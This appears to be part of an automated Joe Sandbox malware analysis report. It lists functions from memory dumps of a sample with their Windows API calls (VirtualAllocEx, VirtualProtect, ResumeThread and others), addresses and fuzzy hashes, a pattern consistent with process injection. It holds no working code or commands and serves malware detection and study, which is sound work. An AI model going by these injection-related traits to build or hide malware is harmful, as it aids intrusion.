Opcode ID: 35c4c12fdca599f76a22f513cb92132cca5e223b0a0ab15a161f38f52096adff
Instruction ID: e616fe0b91cd51001aacdef02d3c7acc5c1187870b2eeed9e0b9bd88bc7c5062
Opcode Fuzzy Hash: 35c4c12fdca599f76a22f513cb92132cca5e223b0a0ab15a161f38f52096adff
Instruction Fuzzy Hash: 9C1100B1C0065A9FCB14DF9AD544BAEFBB4FF48320F15812AD958A7240D738AA44CFA5

Function 026D69D8 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,?), ref: 026D6A53

Memory Dump Source

Source File: 00000000.00000002.2827091074.00000000026D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26d0000_random.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a2618e312db5886ca8ecb11f07c524b8094b5dccd59806ed329cd29744a95d8b
Instruction ID: b2908ffaff8a3822a2ce224e809ce39e33def4b7999914b022041db260e88b13
Opcode Fuzzy Hash: a2618e312db5886ca8ecb11f07c524b8094b5dccd59806ed329cd29744a95d8b
Instruction Fuzzy Hash: AE21D3B5D002499FCB10DFAAD584ADEFBF4FF48314F10842AE958A7250C775A945CFA1

Function 07ADBC68 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 07ADBCDB

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0f6c1f2a4c73795e04c6b154c9c21e7e347ed57fc332c8332d3e41310040ea2a
Instruction ID: ee4723a03f1332e9cef093e4caf1252c41465c25c3c83dc8c2326066adfd06b8
Opcode Fuzzy Hash: 0f6c1f2a4c73795e04c6b154c9c21e7e347ed57fc332c8332d3e41310040ea2a
Instruction Fuzzy Hash: A721E4B59006499FCB10DF9AC584BDEFBF4FF48320F10842AE968A7250D779A944CFA1

Function 07AD3440 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 07AD34B3

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 878f1d6d593e21cea89d71a22386ebc4aa0f222d21646ea157f20e89fe849878
Instruction ID: 6081541e71cb39e86feb57d96f3c18a15a233cd1b2543f0a16570a0ccb4f6843
Opcode Fuzzy Hash: 878f1d6d593e21cea89d71a22386ebc4aa0f222d21646ea157f20e89fe849878
Instruction Fuzzy Hash: BB21E4B59002499FCB10DF9AC884BDEFBF4FF48320F10842AE958A7250D779A944CFA1

Function 07B42711 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 07B42786

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 20e93205c0159c921dab114fca9bc1e0e67a810b5a0b568088fca9ff2a65cfe8
Instruction ID: e4fe7c0c8c574c65d85f3efc30c7042b880bb2caf312e5e74680672c92b342e7
Opcode Fuzzy Hash: 20e93205c0159c921dab114fca9bc1e0e67a810b5a0b568088fca9ff2a65cfe8
Instruction Fuzzy Hash: 321114B28002499FDB10DFAAC945AEEBFF5FF48320F148419E519A7251CB79A944DBA0

Function 026D1B64 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,?), ref: 026D6A53

Memory Dump Source

Source File: 00000000.00000002.2827091074.00000000026D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26d0000_random.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 431a2ceb76bfc258ca117c7a3d2da7d9532a4236c883c7f6d43d9ea0da3ad99c
Instruction ID: e9c811a057b2befc4b4edfc3d9d59b1ec3acc6de8d44eadd632da1b9079b37f3
Opcode Fuzzy Hash: 431a2ceb76bfc258ca117c7a3d2da7d9532a4236c883c7f6d43d9ea0da3ad99c
Instruction Fuzzy Hash: 8621F3B5D006499FCB10DF9AD584ADEFBF8FB48320F10842AE959A7350C379A944CFA1

Function 07B42718 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 07B42786

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 611cf1da7c41cbf2c25cec71cc262a861afb6a6de60e67b30c63e8900e910260
Instruction ID: d4cd6a319522e53c61bbc9e729f026d7ff374b97a9312a9a621f39bed17fdc1a
Opcode Fuzzy Hash: 611cf1da7c41cbf2c25cec71cc262a861afb6a6de60e67b30c63e8900e910260
Instruction Fuzzy Hash: 6F11F6B59002499FDB10DFAAC845AEFBFF5FF48320F148419E519A7250CB79A944DFA0

Function 07B436B3 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 07B4371A

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 747e34c11e57b8ac195482b3d408185e8da0a1ccd6a832399637f1950b59c3ee
Instruction ID: 404ffc6949f61fa4578aaa0cc11fdf22864a10fccfbebac84800667c16556cec
Opcode Fuzzy Hash: 747e34c11e57b8ac195482b3d408185e8da0a1ccd6a832399637f1950b59c3ee
Instruction Fuzzy Hash: DE1128B19002498FDB10DFAAC4457AEFBF5EF88324F248419D559A7250CB79A944CBA4

Function 07B436B8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 07B4371A

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5578e2d13c117a18d1c7989d47099d94913147df860c81fffdb296294ea2851e
Instruction ID: 54626525055548dcee535501320e4dfd4342a531e0d4126515fed1c06336f79d
Opcode Fuzzy Hash: 5578e2d13c117a18d1c7989d47099d94913147df860c81fffdb296294ea2851e
Instruction Fuzzy Hash: 63113AB1D002498FDB10DFAAC4457AFFBF5EF88324F248419D559A7240CB79A944CFA4

Function 0254AF98 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0254AFFE

Memory Dump Source

Source File: 00000000.00000002.2826866054.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2540000_random.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ee5bc2a317a5216f854647a86f337d47f924c20eba5c52bc25a96e3ba8a8820c
Instruction ID: 0c126d4a45cb4ba3863adaa6fc5a8df2b9336e4c0f631102c59cdbbc14c937dc
Opcode Fuzzy Hash: ee5bc2a317a5216f854647a86f337d47f924c20eba5c52bc25a96e3ba8a8820c
Instruction Fuzzy Hash: AE1110B6C002498FCB10CF9AD444ADEFBF4FF88328F10841AD828A7210D379A545CFA5

Function 0609AE64 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0609DA9D

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 77aa1ccc00ba4cc4f1e867acecb07cb5664ea5b6f974b36e66f9f32a23e622ef
Instruction ID: 08af82f199e68b54963eb301c3a4995469d05997cf465bc2b77ef3fd79289c43
Opcode Fuzzy Hash: 77aa1ccc00ba4cc4f1e867acecb07cb5664ea5b6f974b36e66f9f32a23e622ef
Instruction Fuzzy Hash: 661122B58047489FCB10DF8AD844BEEFFF8EB48320F10841AE918A3240C379A944CFA4

Function 0BAAB141 Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0BAAB1A7

Memory Dump Source

Source File: 00000000.00000002.2856272275.000000000BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_baa0000_random.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c8c816a84f5d47d6782584dbeff81c17cc05fc3ab78d687da4c70b970f00da42
Instruction ID: 9c2382acd870bf53fe587cf8a9bbdccf3012c797e9b2a2a8db8ad50219a6c575
Opcode Fuzzy Hash: c8c816a84f5d47d6782584dbeff81c17cc05fc3ab78d687da4c70b970f00da42
Instruction Fuzzy Hash: 5C110DB58002488FDB20DF9AD885B9EFFF4EF48324F20845AD918A3250C779A944CFA1

Function 0BAAB148 Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0BAAB1A7

Memory Dump Source

Source File: 00000000.00000002.2856272275.000000000BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_baa0000_random.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: aae1018ede5d265268078285f7774c09dffb161b73681d88da2e060502f1deeb
Instruction ID: ef37241fa0aeeb483313a6149b9ec2eb1873435d4dc4708cb70d639af0e111f8
Opcode Fuzzy Hash: aae1018ede5d265268078285f7774c09dffb161b73681d88da2e060502f1deeb
Instruction Fuzzy Hash: D1110DB08002488FCB20DF9AD884B9EFFF4EB48324F20805AD518A3250C779A944CFA1

Function 0C38F58E Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

4'jq, xrefs: 0C38F58E

Memory Dump Source

Source File: 00000000.00000002.2856522436.000000000C370000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c370000_random.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 7583726a78e37a96dda435543fc29e595ac81449c9d44bf18ce18bd61e6cc08b
Instruction ID: 4e233a235a223ad95b7b49714c08b144d0f7e6a1a6052400ffad1bbb4c050261
Opcode Fuzzy Hash: 7583726a78e37a96dda435543fc29e595ac81449c9d44bf18ce18bd61e6cc08b
Instruction Fuzzy Hash: FBF065B4350600CFCB88AFB9C96882A3BE7FF8C20030215A8E506DB3B4EA34CC109F11

Function 07B341A8 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851788691.0000000007B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b30000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b04645f5ec03d3ba781d0d0095a11066ee67f4d0de08800114b33913e96d02a
Instruction ID: 38a8ef42b8b3a2e19c6198d3e002e061c9c85dac6045dcce73afc2dc98adcdd8
Opcode Fuzzy Hash: 2b04645f5ec03d3ba781d0d0095a11066ee67f4d0de08800114b33913e96d02a
Instruction Fuzzy Hash: 74515C70E112248FCB14EF78DA99AADBBB1BB88300F4184E9D449A7358DF389D84CF50

Function 0C38E18F Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856522436.000000000C370000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c370000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4898b55e042d89de72eb729a6a85acc3e395d120b2ea4a8c604213550c5a1ed
Instruction ID: 1a05c1a68c0eb995b7d0df7c6956745b9b7467004c0330521eba3a61000cac77
Opcode Fuzzy Hash: a4898b55e042d89de72eb729a6a85acc3e395d120b2ea4a8c604213550c5a1ed
Instruction Fuzzy Hash: 2541BE7A7283158FC7057BB8DD4653ABFBCAB86200B425567D441DB3A6DA38CC0CC792

Function 0C38E1C0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856522436.000000000C370000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c370000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b52538316ac7eccc129d96cf71ca97d02e1ef9021c550a80af78fb31f37d003
Instruction ID: 50251808ba86cc084525b41bb0732d1313a13bef88fa0aa815ea99da7da385de
Opcode Fuzzy Hash: 5b52538316ac7eccc129d96cf71ca97d02e1ef9021c550a80af78fb31f37d003
Instruction Fuzzy Hash: 5E314F767343268BC7447BBCDD8643ABBBDE789214B415927E406DB798DE34CC488781

Function 08065EE8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2854852295.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8060000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68ff8cdddb1cc8e2cb9d1c0555f2e28bd7299abf44f43a99f567180327424246
Instruction ID: 960c98ae4ea9f4f71b38961ebf2e78546bb4ef694b317598174486baeec32a42
Opcode Fuzzy Hash: 68ff8cdddb1cc8e2cb9d1c0555f2e28bd7299abf44f43a99f567180327424246
Instruction Fuzzy Hash: 78216A7AA042298FC714DB68DD81A2BF7ADAB8D2007059627D81AD7391DF35EC1087C0

Function 08065DA0 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2854852295.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8060000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0ec4ead2fea414126e52911a1affdccae95a74a3155bb36b49db81b61b64c67
Instruction ID: fccabd34f222d553a9de0b35f983263f3be67deb248c476400b77143b5730ab7
Opcode Fuzzy Hash: c0ec4ead2fea414126e52911a1affdccae95a74a3155bb36b49db81b61b64c67
Instruction Fuzzy Hash: BE21AF327142675FC7148778DD4592BBBAF57CA2207409317C807CB2D1DD28E821C791

Function 0C339B83 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856383785.000000000C320000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c320000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61d017792953a7df827ef5a78efecccda60f5b09ea86a28b978b831bd23ebaf
Instruction ID: 36d31fb215fafe171c9b2dd7b1e1f1a99d5065ca952cd6c030f068d919df7601
Opcode Fuzzy Hash: c61d017792953a7df827ef5a78efecccda60f5b09ea86a28b978b831bd23ebaf
Instruction Fuzzy Hash: 85316F70E21314CFCB55AF78D984B99BBB5FB84200F4095A9D809E7359DB38A984CF45

Function 08065DB0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2854852295.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8060000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4404cf1bc828a0820b4f778d8753437131feea698d3d10520a44c1c0ed41e937
Instruction ID: 3dbcc0efc6eecf582c6fc7c96c5f1b5a923529767ba32d4e1e21f14cf4c04843
Opcode Fuzzy Hash: 4404cf1bc828a0820b4f778d8753437131feea698d3d10520a44c1c0ed41e937
Instruction Fuzzy Hash: FD215B32B2021B5BCB189A79DD4592BBA9F97C9221B809327C807CB3D5DD28ED2186D1

Function 0C339BF2 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856383785.000000000C320000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c320000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59626e53dab23bd48047d64c10f891cc5bb4bc69bd3d6f9261cee5c954956f4b
Instruction ID: eb76ffeb9a447bc34b0412d301cea281743bcc427c7e59b375c8d4f15cbadfed
Opcode Fuzzy Hash: 59626e53dab23bd48047d64c10f891cc5bb4bc69bd3d6f9261cee5c954956f4b
Instruction Fuzzy Hash: F7315EB0A21314CFCB54EF78DA84B99B7B5FB88200F8095A9D409D7399DB34AD85CF15

Function 0C339BD4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856383785.000000000C320000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c320000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 762030000a09cd99827cadd6a9a0453a7054555b2eef35e6cbec82d90bad32f7
Instruction ID: f22e0188fe9217f594eede7c68de5721a33b68ed0581f414b4eded825a60f1d0
Opcode Fuzzy Hash: 762030000a09cd99827cadd6a9a0453a7054555b2eef35e6cbec82d90bad32f7
Instruction Fuzzy Hash: A8317FB0A21314CFCB54EF78DA84B9AB7B5FB88200F8095A9D409D7399DB34AD85CF15

Function 0C339BDE Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856383785.000000000C320000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c320000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0263f562dfc2a438261cddbc1deea101f192d3e6be786eebb05d8d5164fbba6
Instruction ID: 82af4c7dab9e0483c56974ee62603f8931329f442b28bc69c89e012fb6862990
Opcode Fuzzy Hash: d0263f562dfc2a438261cddbc1deea101f192d3e6be786eebb05d8d5164fbba6
Instruction Fuzzy Hash: D0317CB0A21314CFCB55EF78DA84A99BBB5FB84200F8095A9D409D7359DB38AD84CF05

Function 0247D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2826636339.000000000247D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0247D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_247d000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f3ce67924f1a5fd65fb699b14f871f16868a9e74d278e79ac06e77d2cf8581a
Instruction ID: 00850ee0f9966f715e1cb3667281a0832a1a616febc3a1ff5c15e2ef60cc32f9
Opcode Fuzzy Hash: 1f3ce67924f1a5fd65fb699b14f871f16868a9e74d278e79ac06e77d2cf8581a
Instruction Fuzzy Hash: 1A212271A14280DFDB14DF24D980B66BFA5FF88318F20C56ED91A0B356C33AD447CAA1

Function 0247D1E8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2826636339.000000000247D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0247D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_247d000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9577314b2861d8a1cb8584d337e228fedb9b2979e053a070f326fc2a992c4078
Instruction ID: c2a5d9acdec86690c168fc5344f1a1869ab2e1d3f1cedb0e43a88ab3643eb185
Opcode Fuzzy Hash: 9577314b2861d8a1cb8584d337e228fedb9b2979e053a070f326fc2a992c4078
Instruction Fuzzy Hash: 46210071A14200DFDB04CF64D984B26BB65FFA8314F20C96AD9094F356C33AD847CAA1

Function 0C38E777 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856522436.000000000C370000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c370000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68d19e2f363a40dfc9d3a5eb4bc8d1e4fac6b3ce1069c00977828cf9c5775c6c
Instruction ID: a26e621ea9dc84d30ad122e297852d4276cebcbb5296abac220f35eb310ed809
Opcode Fuzzy Hash: 68d19e2f363a40dfc9d3a5eb4bc8d1e4fac6b3ce1069c00977828cf9c5775c6c
Instruction Fuzzy Hash: CD21A475F202118BCB44FF78D99865DBBFAAB84200F85C869D40AE7358DE349C88CB51

Function 0C38CA97 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856522436.000000000C370000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c370000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42d6f0d835b8df2ff5ae4feab472eccc6d2b0f3b8e8edc95de2afb27c6507170
Instruction ID: c9f181e8209f41f431abb168a75ad1a4e7d69cabca16c139ca86ea2d43bb9459
Opcode Fuzzy Hash: 42d6f0d835b8df2ff5ae4feab472eccc6d2b0f3b8e8edc95de2afb27c6507170
Instruction Fuzzy Hash: 3C11AF32F3C3944FC3458B3EA9515427F66EBC651870521ABD406CB3B1D914CC0CCB51

Function 0247D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2826636339.000000000247D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0247D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_247d000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29f9553466e0a5d9e9b7a5d447007f26a1ee2b996f146da19397c3fa15f308d5
Instruction ID: 95ec8c3dd35fb55975d1f631441d6f8cc2efe4babd9ec54ccbf8e5229d782ed3
Opcode Fuzzy Hash: 29f9553466e0a5d9e9b7a5d447007f26a1ee2b996f146da19397c3fa15f308d5
Instruction Fuzzy Hash: DD2171755093C0CFC702CF24D594755BF71EF46218F28C5DAD8898B667C33A940ACB62

Function 0C38CA75 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856522436.000000000C370000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c370000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72f4a53ba0c17b58bc3afeea3b232ca82cbd89ed4de83c55da67a42b0053f223
Instruction ID: 819cd9a8cb17542aa76f1c39d995cee224045e9706a9ba57e9749e6243695880
Opcode Fuzzy Hash: 72f4a53ba0c17b58bc3afeea3b232ca82cbd89ed4de83c55da67a42b0053f223
Instruction Fuzzy Hash: 14118036F3C2544FC3448A3EED11617BFAAEBD5658B05616FD506CB7B1D915CC088B60

Function 0247D1E3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2826636339.000000000247D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0247D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_247d000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 6424d1d2eaec83e4182bbf7c4570fa618368f45ebcf3df34d8bbc81647109685
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 2511A975904280CFCB02CF10D584B16BBA1FB98214F28C6AAD8494F356C33AD40ACBA2

Function 0C38CAD0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856522436.000000000C370000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c370000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f05ec81855e6183621fa52d93536e0362edb8f4ade95b7cd60ba66892230001e
Instruction ID: a87a72a27a6f9b068427ae11216ebe9bee8c9d1242ff3898650caedeff7f0fe1
Opcode Fuzzy Hash: f05ec81855e6183621fa52d93536e0362edb8f4ade95b7cd60ba66892230001e
Instruction Fuzzy Hash: 65012836B382144FC348993FD905517BE9EEBC9A58701613BD90ADF7B0D925CC084A90

Function 0246D76D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2826602465.000000000246D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0246D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_246d000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377f6b79178cb82c04e27b5ac5ecbb3dd4622c5278ebdcc7792062947979d52c
Instruction ID: d4be57fde0494cd1efe55ee882f94f6289023c552878cd94458f88d92b357328
Opcode Fuzzy Hash: 377f6b79178cb82c04e27b5ac5ecbb3dd4622c5278ebdcc7792062947979d52c
Instruction Fuzzy Hash: F101F731604B04DAD7208E15C988B77BF98EF45326F18C42BED090A286C3399841CA73

Function 0806452C Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2854852295.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8060000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f96f307a9914c4740095477f6f0f05a895c2f78e0f0299e6eca5f64c34d08fa
Instruction ID: 5c21681fd30aec9966c9a556d35d69a3c37713e7c51cabeb97b6d19a7bbca7db
Opcode Fuzzy Hash: 1f96f307a9914c4740095477f6f0f05a895c2f78e0f0299e6eca5f64c34d08fa
Instruction Fuzzy Hash: F2F04630518742CBCB12ABB8C485399BFF19F4A254F4842DAC849DB6A7D624485ACF42

Function 0246D76C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2826602465.000000000246D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0246D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_246d000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa9b729a91a4d3cb0030bd3d72dc204d998e609151041b23a5e4e692c988da5
Instruction ID: 9a715bcac8e770bea4abb2544785596b306d37961d22f28613f45e4d5a82abd6
Opcode Fuzzy Hash: 9fa9b729a91a4d3cb0030bd3d72dc204d998e609151041b23a5e4e692c988da5
Instruction Fuzzy Hash: FFF0C271504744DEE7208A06D888B63FF98EF41735F18C45BED484A286C3799840CAB2

Function 08068CC0 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2854852295.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8060000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9706f62c1699d578f2a9f59c667dd9d0e058dc57cd3e6b0fdb2de1c08c5dfe4a
Instruction ID: 8defa553136faee9b114015cd1995f27ab0ac4b4de65f8da1f7c36b6558eab5e
Opcode Fuzzy Hash: 9706f62c1699d578f2a9f59c667dd9d0e058dc57cd3e6b0fdb2de1c08c5dfe4a
Instruction Fuzzy Hash: 04F0E231508694AFC312CB18D8188C67FA4EE83321316C496E088C7013DB30EDA6C7A1

Function 07B3FBC8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851788691.0000000007B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B30000, based on PE: false

